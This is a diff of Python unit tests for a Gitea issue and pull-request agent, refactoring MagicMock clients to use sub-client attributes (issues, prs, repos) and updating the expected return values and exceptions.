mock_client.issues.list_assigned_issues.assert_called_once_with("owner1", "repo1")
|
||||||
|
|
||||||
|
|
||||||
def test_list_assigned_issues_failure() -> None:
|
def test_list_assigned_issues_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.list_all_user_repos.side_effect = Exception("API Error")
|
mock_client.repos.list_all_user_repos.side_effect = Exception("API Error")
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: list[dict[str, Any]] = issue_tools.list_assigned_issues()
|
res: list[dict[str, Any]] = issue_tools.list_assigned_issues()
|
||||||
@@ -94,9 +105,9 @@ def test_list_assigned_issues_failure() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_list_issues_success() -> None:
|
def test_list_issues_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
issue: IssueModel = IssueModel(number=1, title="Test Issue")
|
issue: IssueModel = IssueModel(number=1, title="Test Issue")
|
||||||
mock_client.list_repo_issues.return_value = [issue]
|
mock_client.issues.list_repo_issues.return_value = [issue]
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.list_issues("owner", "repo")
|
res: str = issue_tools.list_issues("owner", "repo")
|
||||||
@@ -104,8 +115,8 @@ def test_list_issues_success() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_list_issues_empty() -> None:
|
def test_list_issues_empty() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.list_repo_issues.return_value = []
|
mock_client.issues.list_repo_issues.return_value = []
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.list_issues("owner", "repo")
|
res: str = issue_tools.list_issues("owner", "repo")
|
||||||
@@ -113,8 +124,8 @@ def test_list_issues_empty() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_list_issues_failure() -> None:
|
def test_list_issues_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.list_repo_issues.side_effect = Exception("API Error")
|
mock_client.issues.list_repo_issues.side_effect = Exception("API Error")
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.list_issues("owner", "repo")
|
res: str = issue_tools.list_issues("owner", "repo")
|
||||||
@@ -122,23 +133,23 @@ def test_list_issues_failure() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_create_issue_success() -> None:
|
def test_create_issue_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
issue: IssueModel = IssueModel(number=2)
|
issue: IssueModel = IssueModel(number=2)
|
||||||
mock_client.create_issue.return_value = issue
|
mock_client.issues.create_issue.return_value = issue
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.create_issue(
|
res: str = issue_tools.create_issue(
|
||||||
"owner", "repo", "Title", "Body", ["label1"], ["assignee1"]
|
"owner", "repo", "Title", "Body", ["label1"], ["assignee1"]
|
||||||
)
|
)
|
||||||
assert res == "Issue #2 created successfully in owner/repo."
|
assert res == "Issue #2 created successfully in owner/repo."
|
||||||
mock_client.create_issue.assert_called_once_with(
|
mock_client.issues.create_issue.assert_called_once_with(
|
||||||
"owner", "repo", "Title", "Body", ["label1"], ["assignee1"]
|
"owner", "repo", "Title", "Body", ["label1"], ["assignee1"]
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
def test_create_issue_failure() -> None:
|
def test_create_issue_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.create_issue.side_effect = Exception("API Error")
|
mock_client.issues.create_issue.side_effect = Exception("API Error")
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.create_issue("owner", "repo", "Title", "Body")
|
res: str = issue_tools.create_issue("owner", "repo", "Title", "Body")
|
||||||
@@ -146,8 +157,8 @@ def test_create_issue_failure() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_add_label_to_issue_success() -> None:
|
def test_add_label_to_issue_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.add_label.return_value = LabelModel(name="bug")
|
mock_client.issues.add_label.return_value = LabelModel(name="bug")
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.add_label_to_issue("owner", "repo", 1, "bug")
|
res: str = issue_tools.add_label_to_issue("owner", "repo", 1, "bug")
|
||||||
@@ -155,8 +166,8 @@ def test_add_label_to_issue_success() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_add_label_to_issue_failure() -> None:
|
def test_add_label_to_issue_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.add_label.side_effect = Exception("API Error")
|
mock_client.issues.add_label.side_effect = Exception("API Error")
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.add_label_to_issue("owner", "repo", 1, "bug")
|
res: str = issue_tools.add_label_to_issue("owner", "repo", 1, "bug")
|
||||||
@@ -164,8 +175,8 @@ def test_add_label_to_issue_failure() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_add_comment_to_issue_success() -> None:
|
def test_add_comment_to_issue_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.add_comment.return_value = CommentModel(id=1)
|
mock_client.issues.add_comment.return_value = CommentModel(id=1)
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.add_comment_to_issue("owner", "repo", 1, "body")
|
res: str = issue_tools.add_comment_to_issue("owner", "repo", 1, "body")
|
||||||
@@ -173,8 +184,8 @@ def test_add_comment_to_issue_success() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_add_comment_to_issue_failure() -> None:
|
def test_add_comment_to_issue_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.add_comment.side_effect = Exception("API Error")
|
mock_client.issues.add_comment.side_effect = Exception("API Error")
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.add_comment_to_issue("owner", "repo", 1, "body")
|
res: str = issue_tools.add_comment_to_issue("owner", "repo", 1, "body")
|
||||||
|
|||||||
@@ -5,7 +5,6 @@ from unittest.mock import MagicMock, AsyncMock, patch
|
|||||||
|
|
||||||
from core.orchestrator import AgentOrchestrator
|
from core.orchestrator import AgentOrchestrator
|
||||||
from gitea.client import GiteaClient
|
from gitea.client import GiteaClient
|
||||||
from gitea.tools.gitea_tools import GiteaTools
|
|
||||||
from gitea.models import IssueModel, PullRequestModel, RepositoryModel
|
from gitea.models import IssueModel, PullRequestModel, RepositoryModel
|
||||||
|
|
||||||
pytestmark = pytest.mark.anyio
|
pytestmark = pytest.mark.anyio
|
||||||
@@ -31,7 +30,7 @@ async def test_poll_and_dispatch_no_notifications(
|
|||||||
) -> None:
|
) -> None:
|
||||||
mock_get_path.return_value = temp_state_file
|
mock_get_path.return_value = temp_state_file
|
||||||
mock_client = MagicMock(spec=GiteaClient)
|
mock_client = MagicMock(spec=GiteaClient)
|
||||||
mock_tools = MagicMock(spec=GiteaTools)
|
mock_tools = MagicMock()
|
||||||
|
|
||||||
# Return no notifications
|
# Return no notifications
|
||||||
mock_client.list_unread_notifications.return_value = []
|
mock_client.list_unread_notifications.return_value = []
|
||||||
@@ -68,7 +67,7 @@ async def test_poll_and_dispatch_with_notifications(
|
|||||||
mock_reader.decide_notification = AsyncMock(side_effect=mock_decide_notification)
|
mock_reader.decide_notification = AsyncMock(side_effect=mock_decide_notification)
|
||||||
mock_notification_reader_class.return_value = mock_reader
|
mock_notification_reader_class.return_value = mock_reader
|
||||||
mock_client = MagicMock(spec=GiteaClient)
|
mock_client = MagicMock(spec=GiteaClient)
|
||||||
mock_tools = MagicMock(spec=GiteaTools)
|
mock_tools = MagicMock()
|
||||||
|
|
||||||
# Set up mock Gitea notifications
|
# Set up mock Gitea notifications
|
||||||
notifications = [
|
notifications = [
|
||||||
|
|||||||
+85
-63
@@ -6,42 +6,55 @@ from gitea.models import PullRequestModel, CommentModel, RepositoryModel
|
|||||||
from gitea.tools.pr_tools import PRTools
|
from gitea.tools.pr_tools import PRTools
|
||||||
|
|
||||||
|
|
||||||
def test_get_pull_request_success() -> None:
|
def _create_mock_client() -> MagicMock:
|
||||||
|
"""Create a mock GiteaClient with sub-client attributes."""
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
|
mock_client.prs = MagicMock()
|
||||||
|
mock_client.repos = MagicMock()
|
||||||
|
return mock_client
|
||||||
|
|
||||||
|
|
||||||
|
def test_get_pull_request_success() -> None:
|
||||||
|
mock_client = _create_mock_client()
|
||||||
pr: PullRequestModel = PullRequestModel(number=1, title="Test PR", state="open")
|
pr: PullRequestModel = PullRequestModel(number=1, title="Test PR", state="open")
|
||||||
mock_client.get_pull_request.return_value = pr
|
mock_client.prs.get_pull_request.return_value = pr
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.get_pull_request("owner", "repo", 1)
|
res: PullRequestModel = pr_tools.get_pull_request("owner", "repo", 1)
|
||||||
|
|
||||||
data: dict[str, Any] = json.loads(res)
|
assert isinstance(res, PullRequestModel)
|
||||||
assert data["number"] == 1
|
assert res.number == 1
|
||||||
assert data["title"] == "Test PR"
|
assert res.title == "Test PR"
|
||||||
mock_client.get_pull_request.assert_called_once_with("owner", "repo", 1)
|
mock_client.prs.get_pull_request.assert_called_once_with("owner", "repo", 1)
|
||||||
|
|
||||||
|
|
||||||
def test_get_pull_request_failure() -> None:
|
def test_get_pull_request_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.get_pull_request.side_effect = Exception("API Error")
|
mock_client.prs.get_pull_request.side_effect = Exception("API Error")
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.get_pull_request("owner", "repo", 1)
|
try:
|
||||||
assert "Error getting pull request: API Error" in res
|
pr_tools.get_pull_request("owner", "repo", 1)
|
||||||
|
assert False, "Expected Exception"
|
||||||
|
except Exception as e:
|
||||||
|
assert str(e) == "API Error"
|
||||||
|
|
||||||
|
|
||||||
def test_close_pull_request_success() -> None:
|
def test_close_pull_request_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.close_pull_request.return_value = PullRequestModel(number=1, state="closed")
|
mock_client.prs.close_pull_request.return_value = PullRequestModel(
|
||||||
|
number=1, state="closed"
|
||||||
|
)
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.close_pull_request("owner", "repo", 1)
|
res: str = pr_tools.close_pull_request("owner", "repo", 1)
|
||||||
assert res == "Pull request #1 closed successfully."
|
assert res == "Pull request #1 closed successfully."
|
||||||
mock_client.close_pull_request.assert_called_once_with("owner", "repo", 1)
|
mock_client.prs.close_pull_request.assert_called_once_with("owner", "repo", 1)
|
||||||
|
|
||||||
|
|
||||||
def test_close_pull_request_failure() -> None:
|
def test_close_pull_request_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.close_pull_request.side_effect = Exception("API Error")
|
mock_client.prs.close_pull_request.side_effect = Exception("API Error")
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.close_pull_request("owner", "repo", 1)
|
res: str = pr_tools.close_pull_request("owner", "repo", 1)
|
||||||
@@ -49,9 +62,9 @@ def test_close_pull_request_failure() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_get_pull_request_comments_success() -> None:
|
def test_get_pull_request_comments_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
comment: CommentModel = CommentModel(id=123, body="Comment body")
|
comment: CommentModel = CommentModel(id=123, body="Comment body")
|
||||||
mock_client.get_pull_request_comments.return_value = [comment]
|
mock_client.prs.get_pull_request_comments.return_value = [comment]
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.get_pull_request_comments("owner", "repo", 1)
|
res: str = pr_tools.get_pull_request_comments("owner", "repo", 1)
|
||||||
@@ -61,8 +74,8 @@ def test_get_pull_request_comments_success() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_get_pull_request_comments_failure() -> None:
|
def test_get_pull_request_comments_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.get_pull_request_comments.side_effect = Exception("API Error")
|
mock_client.prs.get_pull_request_comments.side_effect = Exception("API Error")
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.get_pull_request_comments("owner", "repo", 1)
|
res: str = pr_tools.get_pull_request_comments("owner", "repo", 1)
|
||||||
@@ -70,23 +83,25 @@ def test_get_pull_request_comments_failure() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_list_assigned_pull_requests_success() -> None:
|
def test_list_assigned_pull_requests_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
repo: RepositoryModel = RepositoryModel(name="repo1", owner="owner1")
|
repo: RepositoryModel = RepositoryModel(name="repo1", owner="owner1")
|
||||||
pr: PullRequestModel = PullRequestModel(number=1, title="Test PR")
|
pr: PullRequestModel = PullRequestModel(number=1, title="Test PR")
|
||||||
mock_client.list_all_user_repos.return_value = [repo]
|
mock_client.repos.list_all_user_repos.return_value = [repo]
|
||||||
mock_client.list_assigned_pull_requests.return_value = [pr]
|
mock_client.prs.list_assigned_pull_requests.return_value = [pr]
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: list[dict[str, Any]] = pr_tools.list_assigned_pull_requests()
|
res: list[dict[str, Any]] = pr_tools.list_assigned_pull_requests()
|
||||||
assert len(res) == 1
|
assert len(res) == 1
|
||||||
assert res[0]["number"] == 1
|
assert res[0]["number"] == 1
|
||||||
mock_client.list_all_user_repos.assert_called_once()
|
mock_client.repos.list_all_user_repos.assert_called_once()
|
||||||
mock_client.list_assigned_pull_requests.assert_called_once_with("owner1", "repo1")
|
mock_client.prs.list_assigned_pull_requests.assert_called_once_with(
|
||||||
|
"owner1", "repo1"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def test_list_assigned_pull_requests_failure() -> None:
|
def test_list_assigned_pull_requests_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.list_all_user_repos.side_effect = Exception("API Error")
|
mock_client.repos.list_all_user_repos.side_effect = Exception("API Error")
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: list[dict[str, Any]] = pr_tools.list_assigned_pull_requests()
|
res: list[dict[str, Any]] = pr_tools.list_assigned_pull_requests()
|
||||||
@@ -94,9 +109,9 @@ def test_list_assigned_pull_requests_failure() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_list_pull_requests_success() -> None:
|
def test_list_pull_requests_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
pr: PullRequestModel = PullRequestModel(number=1, title="Test PR")
|
pr: PullRequestModel = PullRequestModel(number=1, title="Test PR")
|
||||||
mock_client.list_repo_pull_requests.return_value = [pr]
|
mock_client.prs.list_repo_pull_requests.return_value = [pr]
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.list_pull_requests("owner", "repo")
|
res: str = pr_tools.list_pull_requests("owner", "repo")
|
||||||
@@ -104,8 +119,8 @@ def test_list_pull_requests_success() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_list_pull_requests_empty() -> None:
|
def test_list_pull_requests_empty() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.list_repo_pull_requests.return_value = []
|
mock_client.prs.list_repo_pull_requests.return_value = []
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.list_pull_requests("owner", "repo")
|
res: str = pr_tools.list_pull_requests("owner", "repo")
|
||||||
@@ -113,8 +128,8 @@ def test_list_pull_requests_empty() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_list_pull_requests_failure() -> None:
|
def test_list_pull_requests_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.list_repo_pull_requests.side_effect = Exception("API Error")
|
mock_client.prs.list_repo_pull_requests.side_effect = Exception("API Error")
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.list_pull_requests("owner", "repo")
|
res: str = pr_tools.list_pull_requests("owner", "repo")
|
||||||
@@ -122,29 +137,36 @@ def test_list_pull_requests_failure() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_create_pull_request_success() -> None:
|
def test_create_pull_request_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
pr: PullRequestModel = PullRequestModel(number=2, title="Title")
|
pr: PullRequestModel = PullRequestModel(number=2, title="Title")
|
||||||
mock_client.create_pr_via_tea.return_value = pr
|
mock_client.prs.create_pr_via_tea.return_value = pr
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.create_pull_request("owner", "repo", "head", "base", "Title", "Desc")
|
res: PullRequestModel = pr_tools.create_pull_request(
|
||||||
data: dict[str, Any] = json.loads(res)
|
"owner", "repo", "head", "base", "Title", "Desc"
|
||||||
assert data["number"] == 2
|
)
|
||||||
mock_client.create_pr_via_tea.assert_called_once_with("owner", "repo", "Title", "Desc", "head", "base")
|
assert isinstance(res, PullRequestModel)
|
||||||
|
assert res.number == 2
|
||||||
|
mock_client.prs.create_pr_via_tea.assert_called_once_with(
|
||||||
|
"owner", "repo", "Title", "Desc", "head", "base"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def test_create_pull_request_failure() -> None:
|
def test_create_pull_request_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.create_pr_via_tea.side_effect = Exception("API Error")
|
mock_client.prs.create_pr_via_tea.side_effect = Exception("API Error")
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.create_pull_request("owner", "repo", "head", "base", "Title")
|
try:
|
||||||
assert "Error creating PR: API Error" in res
|
pr_tools.create_pull_request("owner", "repo", "head", "base", "Title")
|
||||||
|
assert False, "Expected Exception"
|
||||||
|
except Exception as e:
|
||||||
|
assert str(e) == "API Error"
|
||||||
|
|
||||||
|
|
||||||
def test_add_label_to_pr_success() -> None:
|
def test_add_label_to_pr_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.add_label_pr.return_value = {}
|
mock_client.prs.add_label_pr.return_value = {}
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.add_label_to_pr("owner", "repo", 1, "bug")
|
res: str = pr_tools.add_label_to_pr("owner", "repo", 1, "bug")
|
||||||
@@ -152,8 +174,8 @@ def test_add_label_to_pr_success() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_add_label_to_pr_failure() -> None:
|
def test_add_label_to_pr_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.add_label_pr.side_effect = Exception("API Error")
|
mock_client.prs.add_label_pr.side_effect = Exception("API Error")
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.add_label_to_pr("owner", "repo", 1, "bug")
|
res: str = pr_tools.add_label_to_pr("owner", "repo", 1, "bug")
|
||||||
@@ -161,8 +183,8 @@ def test_add_label_to_pr_failure() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_get_pull_request_diff_success() -> None:
|
def test_get_pull_request_diff_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.get_pull_request_diff.return_value = "diff content"
|
mock_client.prs.get_pull_request_diff.return_value = "diff content"
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.get_pull_request_diff("owner", "repo", 1)
|
res: str = pr_tools.get_pull_request_diff("owner", "repo", 1)
|
||||||
@@ -170,8 +192,8 @@ def test_get_pull_request_diff_success() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_get_pull_request_diff_failure() -> None:
|
def test_get_pull_request_diff_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.get_pull_request_diff.side_effect = Exception("API Error")
|
mock_client.prs.get_pull_request_diff.side_effect = Exception("API Error")
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.get_pull_request_diff("owner", "repo", 1)
|
res: str = pr_tools.get_pull_request_diff("owner", "repo", 1)
|
||||||
@@ -179,8 +201,8 @@ def test_get_pull_request_diff_failure() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_get_pull_request_patch_success() -> None:
|
def test_get_pull_request_patch_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.get_pull_request_patch.return_value = "patch content"
|
mock_client.prs.get_pull_request_patch.return_value = "patch content"
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.get_pull_request_patch("owner", "repo", 1)
|
res: str = pr_tools.get_pull_request_patch("owner", "repo", 1)
|
||||||
@@ -188,8 +210,8 @@ def test_get_pull_request_patch_success() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_get_pull_request_patch_failure() -> None:
|
def test_get_pull_request_patch_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.get_pull_request_patch.side_effect = Exception("API Error")
|
mock_client.prs.get_pull_request_patch.side_effect = Exception("API Error")
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.get_pull_request_patch("owner", "repo", 1)
|
res: str = pr_tools.get_pull_request_patch("owner", "repo", 1)
|
||||||
@@ -197,8 +219,8 @@ def test_get_pull_request_patch_failure() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_approve_pull_request_success() -> None:
|
def test_approve_pull_request_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.approve_pr.return_value = {}
|
mock_client.prs.approve_pr.return_value = {}
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.approve_pull_request("owner", "repo", 1, "good")
|
res: str = pr_tools.approve_pull_request("owner", "repo", 1, "good")
|
||||||
@@ -206,8 +228,8 @@ def test_approve_pull_request_success() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_approve_pull_request_failure() -> None:
|
def test_approve_pull_request_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.approve_pr.side_effect = Exception("API Error")
|
mock_client.prs.approve_pr.side_effect = Exception("API Error")
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.approve_pull_request("owner", "repo", 1, "good")
|
res: str = pr_tools.approve_pull_request("owner", "repo", 1, "good")
|
||||||
@@ -215,8 +237,8 @@ def test_approve_pull_request_failure() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_request_changes_success() -> None:
|
def test_request_changes_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.request_changes_pr.return_value = {}
|
mock_client.prs.request_changes_pr.return_value = {}
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.request_changes("owner", "repo", 1, "bad")
|
res: str = pr_tools.request_changes("owner", "repo", 1, "bad")
|
||||||
@@ -224,8 +246,8 @@ def test_request_changes_success() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_request_changes_failure() -> None:
|
def test_request_changes_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.request_changes_pr.side_effect = Exception("API Error")
|
mock_client.prs.request_changes_pr.side_effect = Exception("API Error")
|
||||||
|
|
||||||
pr_tools: PRTools = PRTools(mock_client)
|
pr_tools: PRTools = PRTools(mock_client)
|
||||||
res: str = pr_tools.request_changes("owner", "repo", 1, "bad")
|
res: str = pr_tools.request_changes("owner", "repo", 1, "bad")
|
||||||
|
|||||||
+24
-19
@@ -9,16 +9,16 @@ from gitea.workspace import WorkspaceManager
|
|||||||
@patch("gitea.workspace.subprocess.run")
|
@patch("gitea.workspace.subprocess.run")
|
||||||
@patch("gitea.workspace.GiteaClient")
|
@patch("gitea.workspace.GiteaClient")
|
||||||
def test_workspace_manager_configure_repo_user(
|
def test_workspace_manager_configure_repo_user(
|
||||||
mock_client_class: MagicMock,
|
mock_client_class: MagicMock, mock_run: MagicMock
|
||||||
mock_run: MagicMock
|
|
||||||
) -> None:
|
) -> None:
|
||||||
mock_client = MagicMock()
|
mock_client = MagicMock()
|
||||||
mock_client_class.return_value = mock_client
|
mock_client_class.return_value = mock_client
|
||||||
|
mock_client.repos = MagicMock()
|
||||||
mock_user = MagicMock()
|
mock_user = MagicMock()
|
||||||
mock_user.full_name = "Agent Tester"
|
mock_user.full_name = "Agent Tester"
|
||||||
mock_user.login = "agent-test"
|
mock_user.login = "agent-test"
|
||||||
mock_user.email = "agent-test@example.com"
|
mock_user.email = "agent-test@example.com"
|
||||||
mock_client.get_authenticated_user.return_value = mock_user
|
mock_client.repos.get_authenticated_user.return_value = mock_user
|
||||||
|
|
||||||
workspace = WorkspaceManager()
|
workspace = WorkspaceManager()
|
||||||
repo_path = Path("/tmp/mock-repo")
|
repo_path = Path("/tmp/mock-repo")
|
||||||
@@ -36,16 +36,16 @@ def test_workspace_manager_configure_repo_user(
|
|||||||
@patch("gitea.workspace.subprocess.run")
|
@patch("gitea.workspace.subprocess.run")
|
||||||
@patch("gitea.workspace.GiteaClient")
|
@patch("gitea.workspace.GiteaClient")
|
||||||
def test_workspace_manager_clone_repo(
|
def test_workspace_manager_clone_repo(
|
||||||
mock_client_class: MagicMock,
|
mock_client_class: MagicMock, mock_run: MagicMock
|
||||||
mock_run: MagicMock
|
|
||||||
) -> None:
|
) -> None:
|
||||||
mock_client = MagicMock()
|
mock_client = MagicMock()
|
||||||
mock_client_class.return_value = mock_client
|
mock_client_class.return_value = mock_client
|
||||||
|
